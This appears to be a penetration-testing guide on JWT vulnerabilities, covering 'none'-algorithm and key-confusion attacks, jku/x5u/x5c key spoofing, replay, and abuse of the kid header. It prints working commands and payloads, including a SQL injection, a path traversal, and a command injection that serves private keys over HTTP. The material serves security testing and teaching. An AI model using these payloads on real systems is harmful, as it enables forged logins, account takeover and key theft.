Links

JWT Vulnerabilities (Json Web Tokens)

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required).
Part of this post is based in the awesome post: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology Author of the great tool to pentest JWTs https://github.com/ticarpi/jwt_tool

Quick Wins

Run jwt_tool with mode All Tests! and wait for green lines
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
If you are lucky the tool will find some case where the web application is incorrectly checking the JWT:
Then, you can search the request in your proxy or dump the used JWT for that request using jwt_ tool:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

Tamper data without modifying anything

You can just tamper with the data leaving the signature as is and check if the server is checking the signature. Try to change your username to "admin" for example.

Is the token checked?

To check if a JWT's signature is being verified:
  • An error message suggests ongoing verification; sensitive details in verbose errors should be reviewed.
  • A change in the returned page also indicates verification.
  • No change suggests no verification; this is when to experiment with tampering payload claims.

Origin

It's important to determine whether the token was generated server-side or client-side by examining the proxy's request history.
  • Tokens first seen from the client side suggest the key might be exposed to client-side code, necessitating further investigation.
  • Tokens originating server-side indicate a secure process.

Duration

Check if the token lasts more than 24h... maybe it never expires. If there is a "exp" filed, check if the server is correctly handling it.

Brute-force HMAC secret

Modify the algorithm to None (CVE-2015-9235)

Set the algorithm used as "None" and remove the signature part.
Use the Burp extension call "JSON Web Token" to try this vulnerability and to change different values inside the JWT (send the request to Repeater and in the "JSON Web Token" tab you can modify the values of the token. You can also select to put the value of the "Alg" field to "None").

Change the algorithm RS256(asymmetric) to HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)

The algorithm HS256 uses the secret key to sign and verify each message. The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.
If you change the algorithm from RS256 to HS256, the back end code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature.
Then, using the public key and changing RS256 to HS256 we could create a valid signature. You can retrieve the certificate of the web server executing this:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

New public key inside the header

An attacker embeds a new key in the header of the token and the server uses this new key to verify the signature (CVE-2018-0114).
This can be done with the "JSON Web Tokens" Burp extension. (Send the request to the Repeater, inside the JSON Web Token tab select "CVE-2018-0114" and send the request).

JWKS Spoofing

The instructions detail a method to assess the security of JWT tokens, particularly those employing a "jku" header claim. This claim should link to a JWKS (JSON Web Key Set) file that contains the public key necessary for the token's verification.
  • Assessing Tokens with "jku" Header:
    • Verify the "jku" claim's URL to ensure it leads to the appropriate JWKS file.
    • Modify the token's "jku" value to direct towards a controlled web service, allowing traffic observation.
  • Monitoring for HTTP Interaction:
    • Observing HTTP requests to your specified URL indicates the server's attempts to fetch keys from your provided link.
    • When employing jwt_tool for this process, it's crucial to update the jwtconf.ini file with your personal JWKS location to facilitate the testing.
  • Command for jwt_tool:
    • Execute the following command to simulate the scenario with jwt_tool:
      python3 jwt_tool.py JWT_HERE -X s

Kid Issues Overview

An optional header claim known as kid is utilized for identifying a specific key, which becomes particularly vital in environments where multiple keys exist for token signature verification. This claim assists in selecting the appropriate key to verify a token's signature.

Revealing Key through "kid"

When the kid claim is present in the header, it's advised to search the web directory for the corresponding file or its variations. For instance, if "kid":"key/12345" is specified, the files /key/12345 and /key/12345.pem should be searched for in the web root.

Path Traversal with "kid"

The kid claim might also be exploited to navigate through the file system, potentially allowing the selection of an arbitrary file. It's feasible to test for connectivity or execute Server-Side Request Forgery (SSRF) attacks by altering the kid value to target specific files or services. Tampering with the JWT to change the kid value while retaining the original signature can be achieved using the -T flag in jwt_tool, as demonstrated below:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
By targeting files with predictable content, it's possible to forge a valid JWT. For instance, the /proc/sys/kernel/randomize_va_space file in Linux systems, known to contain the value 2, can be used in the kid parameter with 2 as the symmetric password for JWT generation.

SQL Injection via "kid"

If the kid claim's content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the kid payload. An example payload that uses SQL injection to alter the JWT signing process includes:
non-existent-index' UNION SELECT 'ATTACKER';-- -
This alteration forces the use of a known secret key, ATTACKER, for JWT signing.

OS Injection through "kid"

A scenario where the kid parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the kid parameter, it's possible to expose private keys. An example payload for achieving RCE and key exposure is:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u and jku

jku

jku stands for JWK Set URL. If the token uses a “jkuHeader claim then check out the provided URL. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.
First you need to create a new certificate with new private & public keys
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Then you can use for example jwt.io to create the new JWT with the created public and private keys and pointing the parameter jku to the certificate created. In order to create a valid jku certificate you can download the original one anche change the needed parameters.
You can obtain the parametes "e" and "n" from a public certificate using:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL. A URI pointing to a set of X.509 (a certificate format standard) public certificates encoded in PEM form. The first certificate in the set must be the one used to sign this JWT. The subsequent certificates each sign the previous one, thus completing the certificate chain. X.509 is defined in RFC 52807 . Transport security is required to transfer the certificates.
Try to change this header to an URL under your control and check if any request is received. In that case you could tamper the JWT.
To forge a new token using a certificate controlled by you, you need to create the certificate and extract the public and private keys:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
Then you can use for example jwt.io to create the new JWT with the created public and private keys and pointing the parameter x5u to the certificate .crt created.
You can also abuse both of these vulns for SSRFs.

x5c

This parameter may contain the certificate in base64:
If the attacker generates a self-signed certificate and creates a forged token using the corresponding private key and replace the "x5c" parameter’s value with the newly generatedcertificate and modifies the other parameters, namely n, e and x5t then essentially the forgedtoken would get accepted by the server.
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Embedded Public Key (CVE-2018-0114)

If the JWT has embedded a public key like in the following scenario:
Using the following nodejs script it's possible to generate a public key from that data:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
It's possible to generate a new private/public key, embeded the new public key inside the token and use it to generate a new signature:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
You can obtain the "n" and "e" using this nodejs script:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
Finally, using the public and private key and the new "n" and "e" values you can use jwt.io to forge a new valid JWT with any information.

JTI (JWT ID)

The JTI (JWT ID) claim provides a unique identifier for a JWT Token. It can be used to prevent the token from being replayed. However, imagine a situation where the maximun length of the ID is 4 (0001-9999). The request 0001 and 10001 are going to use the same ID. So if the backend is incrementig the ID on each request you could abuse this to replay a request (needing to send 10000 request between each successful replay).

JWT Registered claims

Other attacks

Cross-service Relay Attacks
It has been observed that some web applications rely on a trusted JWT service for the generation and management of their tokens. Instances have been recorded where a token, generated for one client by the JWT service, was accepted by another client of the same JWT service. If the issuance or renewal of a JWT via a third-party service is observed, the possibility of signing up for an account on another client of that service using the same username/email should be investigated. An attempt should then be made to replay the obtained token in a request to the target to see if it is accepted.
  • A critical issue may be indicated by the acceptance of your token, potentially allowing the spoofing of any user's account. However, it should be noted that permission for wider testing might be required if signing up on a third-party application, as this could enter a legal grey area.
Expiry Check of Tokens
The token's expiry is checked using the "exp" Payload claim. Given that JWTs are often employed without session information, careful handling is required. In many instances, capturing and replaying another user's JWT could enable impersonation of that user. The JWT RFC recommends mitigating JWT replay attacks by utilizing the "exp" claim to set an expiry time for the token. Furthermore, the implementation of relevant checks by the application to ensure the processing of this value and the rejection of expired tokens is crucial. If the token includes an "exp" claim and testing time limits allow, storing the token and replaying it after the expiry time has passed is advised. The content of the token, including timestamp parsing and expiry checking (timestamp in UTC), can be read using the jwt_tool's -R flag.
  • A security risk may be present if the application still validates the token, as it may imply that the token could never expire.

Tools

If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required).
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks: